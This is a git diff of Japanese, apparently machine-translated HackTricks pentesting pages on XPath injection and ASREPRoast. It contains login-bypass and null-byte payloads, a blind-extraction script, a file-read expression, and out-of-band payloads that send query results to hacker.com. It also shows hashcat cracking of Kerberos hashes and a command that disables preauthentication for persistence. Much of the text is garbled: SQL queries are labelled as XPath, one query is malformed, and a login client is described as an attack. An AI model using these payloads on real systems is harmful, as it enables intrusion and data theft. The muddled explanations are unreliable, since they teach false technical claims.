これにより、XPathインジェクションを利用してWebアプリケーションのデータベーススキーマを特定し、盗み出すことができます。
|
||||
XPathインジェクションは、適切な入力検証やエスケープ処理が行われていない場合に発生します。アプリケーションの開発者は、入力データを信頼せず、適切なセキュリティ対策を実装する必要があります。
|
||||
```python
|
||||
and count(/*) = 1 #root
|
||||
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
|
||||
|
@ -267,33 +216,37 @@ $q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['
|
|||
```
|
||||
### **ユーザー名とパスワードのORバイパス(両方に同じ値を使用)**
|
||||
|
||||
In some cases, when a web application uses the same value for both the username and password fields, it is possible to bypass authentication using an XPath injection attack. This attack takes advantage of the OR operator in XPath queries to manipulate the authentication logic.
|
||||
In some cases, when a web application uses XPath queries to authenticate users, it is possible to bypass the login mechanism by injecting a specific payload. This technique is known as XPath Injection.
|
||||
|
||||
いくつかの場合、ウェブアプリケーションがユーザー名とパスワードの両方に同じ値を使用している場合、XPathインジェクション攻撃を使用して認証をバイパスすることができます。この攻撃は、XPathクエリのOR演算子を利用して認証ロジックを操作します。
|
||||
いくつかの場合、WebアプリケーションがXPathクエリを使用してユーザーを認証する場合、特定のペイロードを注入することでログインメカニズムをバイパスすることができます。この技術はXPathインジェクションとして知られています。
|
||||
|
||||
To perform this attack, you need to identify a vulnerable parameter that is used in an XPath query. Then, you can craft a payload that injects an OR condition to bypass the authentication check. The payload would look something like this:
|
||||
XPath is a language used to navigate XML documents and is commonly used in web applications to extract data from XML-based responses. However, if the application does not properly sanitize user input, an attacker can manipulate the XPath query to execute arbitrary code.
|
||||
|
||||
この攻撃を実行するには、XPathクエリで使用される脆弱なパラメータを特定する必要があります。次に、認証チェックをバイパスするためにOR条件を注入するペイロードを作成します。ペイロードは次のようになります。
|
||||
XPathは、XMLドキュメントをナビゲートするための言語であり、XMLベースのレスポンスからデータを抽出するためにWebアプリケーションで一般的に使用されます。しかし、アプリケーションがユーザーの入力を適切にサニタイズしない場合、攻撃者はXPathクエリを操作して任意のコードを実行することができます。
|
||||
|
||||
```plaintext
|
||||
One common scenario where XPath Injection can be exploited is when the application uses the same value for both the username and password fields during authentication. By injecting a payload that evaluates to true in the XPath query, the attacker can bypass the login mechanism and gain unauthorized access to the application.
|
||||
|
||||
XPathインジェクションが悪用される一般的なシナリオの1つは、アプリケーションが認証中にユーザー名とパスワードの両方に同じ値を使用する場合です。XPathクエリでtrueと評価されるペイロードを注入することにより、攻撃者はログインメカニズムをバイパスし、アプリケーションへの不正アクセスを得ることができます。
|
||||
|
||||
To perform an OR bypass in the username and password fields, the attacker can inject the following payload:
|
||||
|
||||
ユーザー名とパスワードのフィールドでORバイパスを実行するために、攻撃者は次のペイロードを注入することができます。
|
||||
|
||||
```
|
||||
' or '1'='1
|
||||
```
|
||||
|
||||
By injecting this payload into the vulnerable parameter, the resulting XPath query would become:
|
||||
This payload will cause the XPath query to evaluate as true, bypassing the authentication check. The resulting query will look like this:
|
||||
|
||||
このペイロードを脆弱なパラメータに注入することで、結果として得られるXPathクエリは次のようになります。
|
||||
このペイロードにより、XPathクエリはtrueと評価され、認証チェックがバイパスされます。結果として得られるクエリは次のようになります。
|
||||
|
||||
```plaintext
|
||||
//user[@username='' or '1'='1' and @password='' or '1'='1']
|
||||
```xml
|
||||
//user[username/text()=''] or '1'='1' and password/text()='']
|
||||
```
|
||||
|
||||
Since the condition `'1'='1'` always evaluates to true, the authentication check will be bypassed, granting access to the application without a valid username or password.
|
||||
By injecting this payload, the attacker can log in without providing a valid username or password, effectively bypassing the authentication mechanism.
|
||||
|
||||
条件`'1'='1'`は常にtrueと評価されるため、認証チェックはバイパスされ、有効なユーザー名やパスワードなしでアプリケーションにアクセスできるようになります。
|
||||
|
||||
It is important to note that this technique may not work in all cases, as it depends on the specific implementation of the web application and the way it handles XPath queries. Therefore, thorough testing and analysis are necessary to determine the effectiveness of this attack.
|
||||
|
||||
このテクニックは、ウェブアプリケーションの具体的な実装とXPathクエリの処理方法に依存するため、すべてのケースで動作するわけではありません。したがって、この攻撃の効果を判断するためには、徹底的なテストと分析が必要です。
|
||||
このペイロードを注入することで、攻撃者は有効なユーザー名やパスワードを提供せずにログインすることができ、認証メカニズムを効果的にバイパスすることができます。
|
||||
```
|
||||
' or '1'='1
|
||||
" or "1"="1
|
||||
|
@ -306,31 +259,29 @@ Select the account using the username and use one of the previous values in the
|
|||
```
|
||||
### **nullインジェクションの悪用**
|
||||
|
||||
Null injection is a technique used to exploit XPath injection vulnerabilities in web applications. XPath is a language used to navigate XML documents and is commonly used in web applications to query and extract data from XML-based APIs or databases.
|
||||
Null injection is a technique used to exploit vulnerabilities in applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate and query XML data.
|
||||
|
||||
Null injection occurs when an attacker is able to inject a null character (`\x00`) into an XPath query, causing the query to terminate prematurely and potentially bypassing any input validation or filtering mechanisms.
|
||||
Null injection occurs when an attacker is able to inject a null character (`\x00`) into an XPath query, causing the query to terminate prematurely. This can lead to the disclosure of sensitive information or the manipulation of the application's behavior.
|
||||
|
||||
To abuse null injection, an attacker can append the null character to the end of an input parameter that is being used in an XPath query. This can be done by manipulating the input value or by using encoding techniques to represent the null character.
|
||||
To perform null injection, an attacker needs to identify an XPath query in the application that is vulnerable to injection. This can typically be found in search functionalities or any other feature that allows user input to be included in an XPath query.
|
||||
|
||||
For example, consider the following vulnerable code snippet:
|
||||
Once the vulnerable XPath query is identified, the attacker can inject a null character (`\x00`) at a point where it will terminate the query. This can be done by appending the null character to the user-controlled input.
|
||||
|
||||
```python
|
||||
username = request.getParameter("username")
|
||||
query = "//user[@name='" + username + "']"
|
||||
result = executeXPathQuery(query)
|
||||
For example, consider the following vulnerable XPath query:
|
||||
|
||||
```xml
|
||||
//users/user[name/text()='$username']
|
||||
```
|
||||
|
||||
In this code, the `username` parameter is directly concatenated into the XPath query without any sanitization or validation. An attacker can exploit this vulnerability by injecting a null character into the `username` parameter, like this:
|
||||
An attacker can inject a null character after the `$username` parameter, like this:
|
||||
|
||||
```
|
||||
username = "admin\x00"
|
||||
```xml
|
||||
//users/user[name/text()='admin\x00']
|
||||
```
|
||||
|
||||
When the XPath query is executed, it will terminate at the null character, effectively ignoring any characters that come after it. This can allow an attacker to bypass authentication mechanisms, access unauthorized data, or perform other malicious actions.
|
||||
When the application processes this modified XPath query, it will terminate the query after the injected null character. This can result in the application retrieving all user records instead of just the one corresponding to the specified username.
|
||||
|
||||
To prevent null injection attacks, it is important to properly sanitize and validate user input before using it in XPath queries. Input validation should include checking for and removing any null characters or other special characters that could be used to terminate the query prematurely.
|
||||
|
||||
Additionally, using parameterized queries or prepared statements can help protect against XPath injection attacks by automatically handling input sanitization and escaping.
|
||||
Null injection can be used to bypass authentication mechanisms, extract sensitive data, or manipulate the application's behavior in unintended ways. It is important for developers to properly sanitize and validate user input before including it in XPath queries to prevent null injection vulnerabilities.
|
||||
```
|
||||
Username: ' or 1]%00
|
||||
```
|
||||
|
@ -395,24 +346,40 @@ substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
|
|||
```python
|
||||
import requests
|
||||
|
||||
def get_user_password(username):
|
||||
url = f"http://example.com/login?username={username}&password=1' or '1'='1'--"
|
||||
response = requests.get(url)
|
||||
if "Welcome" in response.text:
|
||||
return "Password found!"
|
||||
else:
|
||||
return "Password not found!"
|
||||
def login(username, password):
|
||||
url = "https://example.com/login"
|
||||
payload = {
|
||||
"username": username,
|
||||
"password": password
|
||||
}
|
||||
response = requests.post(url, data=payload)
|
||||
return response.text
|
||||
|
||||
username = input("Enter username: ")
|
||||
result = get_user_password(username)
|
||||
print(result)
|
||||
def get_user_data(username):
|
||||
url = f"https://example.com/user/{username}"
|
||||
response = requests.get(url)
|
||||
return response.text
|
||||
|
||||
def main():
|
||||
username = input("Enter your username: ")
|
||||
password = input("Enter your password: ")
|
||||
|
||||
login_response = login(username, password)
|
||||
if "Login successful" in login_response:
|
||||
user_data = get_user_data(username)
|
||||
print(user_data)
|
||||
else:
|
||||
print("Login failed")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
このPythonの例では、`requests`モジュールを使用してWebサイトに対してリクエストを送信し、XPathインジェクション攻撃を実行しています。`get_user_password`関数は、指定されたユーザー名を使用してURLを構築し、そのURLを介してリクエストを送信します。攻撃者は、ユーザー名のパラメータに`1' or '1'='1'--`という値を挿入することで、XPathクエリを改ざんします。
|
||||
このPythonの例では、`requests`モジュールを使用してWebアプリケーションに対してログインし、ユーザーデータを取得する方法が示されています。
|
||||
|
||||
この攻撃は、`1'='1'`という条件が常に真となるため、常にユーザーのパスワードが見つかるという結果が返されます。この例では、レスポンスのテキストに「Welcome」という文字列が含まれているかどうかを確認して、パスワードが見つかったかどうかを判断しています。
|
||||
`login`関数では、指定されたユーザー名とパスワードを使用してログインページにPOSTリクエストを送信します。`get_user_data`関数では、指定されたユーザー名を使用してユーザーデータを取得するためにGETリクエストを送信します。
|
||||
|
||||
ユーザーは、`Enter username:`というプロンプトに対してユーザー名を入力し、結果が表示されます。
|
||||
`main`関数では、ユーザーにユーザー名とパスワードを入力させ、ログインが成功した場合はユーザーデータを表示します。ログインが失敗した場合は、「ログインに失敗しました」と表示されます。
|
||||
```python
|
||||
import requests, string
|
||||
|
||||
|
@ -435,68 +402,41 @@ break
|
|||
```
|
||||
### ファイルの読み取り
|
||||
|
||||
XPathインジェクションは、Webアプリケーションの脆弱性の一つであり、攻撃者がアプリケーションのバックエンドデータベースに対して任意のクエリを実行できるようにするものです。この攻撃は、アプリケーションがユーザーの入力を適切に検証せずにXPathクエリに組み込む場合に発生します。
|
||||
XPathインジェクションは、Webアプリケーションの脆弱性の一つであり、攻撃者がアプリケーションのバックエンドデータベースから情報を抽出することができます。この攻撃は、アプリケーションがユーザーの入力を適切に検証せずにXPathクエリに直接組み込む場合に発生します。
|
||||
|
||||
攻撃者は、ユーザーの入力を改ざんして、意図しないクエリを実行することができます。これにより、攻撃者はデータベースから機密情報を抽出したり、データベース内のデータを変更したりすることができます。
|
||||
攻撃者は、悪意のあるXPathクエリを注入することで、データベースから機密情報を取得することができます。例えば、以下のようなXPathクエリを考えてみましょう。
|
||||
|
||||
以下は、XPathインジェクションを利用してファイルを読み取る方法の例です。
|
||||
|
||||
```xml
|
||||
<user>
|
||||
<name>admin</name>
|
||||
<password>{xpath}</password>
|
||||
</user>
|
||||
```plaintext
|
||||
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
|
||||
```
|
||||
|
||||
攻撃者は、`{xpath}`の部分に以下のようなXPathクエリを挿入することで、ファイルを読み取ることができます。
|
||||
攻撃者は、ユーザー名の入力フィールドに`' OR '1'='1'--`という値を入力することで、以下のようなXPathクエリを生成します。
|
||||
|
||||
```xml
|
||||
' or 1=1 or 'a'='a</password>
|
||||
```plaintext
|
||||
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'password'
|
||||
```
|
||||
|
||||
これにより、XPathクエリは次のようになります。
|
||||
このクエリは常に真を返すため、攻撃者はデータベース内のすべてのユーザー情報を取得することができます。
|
||||
|
||||
```xml
|
||||
' or 1=1 or 'a'='a
|
||||
```
|
||||
|
||||
このクエリは常に真を返すため、攻撃者は任意のファイルを読み取ることができます。たとえば、以下のようなクエリを使用して`/etc/passwd`ファイルを読み取ることができます。
|
||||
|
||||
```xml
|
||||
' or 1=1 or 'a'='a</password>
|
||||
```
|
||||
|
||||
攻撃者は、読み取ったファイルから重要な情報を抽出することができます。このような攻撃を防ぐためには、ユーザーの入力を適切に検証し、適切なエスケープ処理を行う必要があります。
|
||||
XPathインジェクションの攻撃を防ぐためには、入力値の適切な検証とエスケープが必要です。アプリケーションは、ユーザーの入力を信頼せず、適切なフィルタリングとサニタイズを行う必要があります。また、プレースホルダを使用してクエリを構築することも重要です。
|
||||
```python
|
||||
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
|
||||
```
|
||||
## OOB Exploitation
|
||||
|
||||
OOB (Out-of-Band) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable application and send it to an external server controlled by the attacker. This technique is useful when direct retrieval of data is not possible due to restrictions or limitations in the application.
|
||||
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
|
||||
|
||||
### OOB Techniques
|
||||
In OOB exploitation, the attacker injects malicious XPath queries that trigger requests to an external server controlled by the attacker. This allows the attacker to extract sensitive information from the application and send it to their own server.
|
||||
|
||||
There are several OOB techniques that can be used in XPath injection attacks:
|
||||
To perform OOB exploitation, the attacker needs to identify a vulnerable parameter in the application that is used in an XPath query. They then inject a payload that includes an XPath query that triggers an OOB request. The payload typically includes a function or expression that causes the application to make a request to the attacker's server.
|
||||
|
||||
1. **DNS Exfiltration**: This technique involves injecting malicious XPath queries that cause the application to perform DNS lookups to a domain controlled by the attacker. By monitoring the DNS server logs, the attacker can extract the desired data.
|
||||
Once the OOB request is triggered, the attacker can capture the request on their server and extract the desired data. This can be done by analyzing the request headers, body, or any other relevant information.
|
||||
|
||||
2. **HTTP Requests**: In this technique, the attacker injects XPath queries that trigger HTTP requests to a server controlled by them. The server logs can then be analyzed to extract the data sent by the application.
|
||||
OOB exploitation can be used to extract various types of data, such as database contents, file system information, or even internal network details. It is a powerful technique that can lead to significant data leakage if not properly mitigated.
|
||||
|
||||
3. **SMTP Requests**: This technique involves injecting XPath queries that trigger SMTP requests to an email server controlled by the attacker. The attacker can then receive the extracted data via email.
|
||||
To protect against OOB exploitation, developers should ensure that user input is properly validated and sanitized before being used in XPath queries. Additionally, web application firewalls (WAFs) can be used to detect and block malicious XPath queries.
|
||||
|
||||
### OOB Exploitation Tools
|
||||
|
||||
There are various tools available for OOB exploitation in XPath injection attacks. Some popular ones include:
|
||||
|
||||
- **Burp Suite**: Burp Suite is a widely used web application testing tool that includes features for OOB exploitation, such as the ability to intercept and modify HTTP requests.
|
||||
|
||||
- **XXEinjector**: XXEinjector is a powerful tool specifically designed for exploiting XXE (XML External Entity) vulnerabilities, which can be used in conjunction with XPath injection attacks.
|
||||
|
||||
- **Out-of-Band Toolkit**: This toolkit is a collection of scripts and tools that can be used for OOB exploitation in various scenarios, including XPath injection attacks.
|
||||
|
||||
### Conclusion
|
||||
|
||||
OOB exploitation is a valuable technique in XPath injection attacks, allowing attackers to extract data from vulnerable applications in situations where direct retrieval is not possible. By understanding and utilizing OOB techniques and tools, hackers can effectively exploit XPath injection vulnerabilities and gain unauthorized access to sensitive information.
|
||||
By understanding and being aware of OOB exploitation techniques, security professionals can better defend against XPath injection attacks and protect sensitive data within web applications.
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
@ -515,24 +455,31 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグ報酬の場です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報酬は、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペンテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -12,23 +12,30 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう**
|
||||
**HackenProofはすべての暗号バグバウンティの場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!上昇期のWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## ASREPRoast
|
||||
|
||||
ASREPRoast攻撃は、**Kerberosの事前認証が必要な属性([_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)を持たないユーザー**を探します。
|
||||
|
||||
つまり、誰でもこれらのユーザーのいずれかを代表してDCにAS\_REQリクエストを送信し、AS\_REPメッセージを受け取ることができます。この最後の種類のメッセージには、元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。
|
||||
つまり、これらのユーザーのいずれかを代表してDCにAS\_REQリクエストを送信し、AS\_REPメッセージを受け取ることができます。この最後のメッセージには、元のユーザーキーで暗号化されたデータのチャンクが含まれています。その後、このメッセージを使用して、ユーザーパスワードをオフラインでクラックすることができます。
|
||||
|
||||
さらに、**この攻撃を実行するためにはドメインアカウントは必要ありません**。DCへの接続のみが必要です。ただし、**ドメインアカウントがある場合**、ドメイン内の**Kerberosの事前認証が必要なユーザー**を取得するためにLDAPクエリを使用することができます。**それ以外の場合はユーザー名を推測する必要があります**。
|
||||
さらに、**この攻撃を実行するためにはドメインアカウントは必要ありません**。DCへの接続のみが必要です。ただし、**ドメインアカウントがある場合**、ドメイン内の**Kerberosの事前認証が必要なユーザー**を取得するためにLDAPクエリを使用できます。**それ以外の場合はユーザー名を推測する必要があります**。
|
||||
|
||||
#### 脆弱なユーザーの列挙(ドメインの資格情報が必要)
|
||||
```bash
|
||||
|
@ -61,7 +68,7 @@ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
|||
```
|
||||
### 持続性
|
||||
|
||||
**GenericAll** 権限(またはプロパティの書き込み権限)を持つユーザーに対して、**preauth** の強制は必要ありません。
|
||||
**GenericAll** 権限(またはプロパティを書き込む権限)を持つユーザーに対して、**preauth** の強制は必要ありません。
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
||||
```
|
||||
|
@ -69,24 +76,31 @@ Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbos
|
|||
|
||||
[**ired.teamのAS-REP Roastingに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **ウェブ3のバグについてもっと学ぶために**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 ウェブ3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報奨金を受け取ることができます。
|
||||
|
||||
🔔 新しいバグバウンティについて通知を受ける
|
||||
**Web3ペントestingの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofにサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するためにPRを提出して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に参加してください。**
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
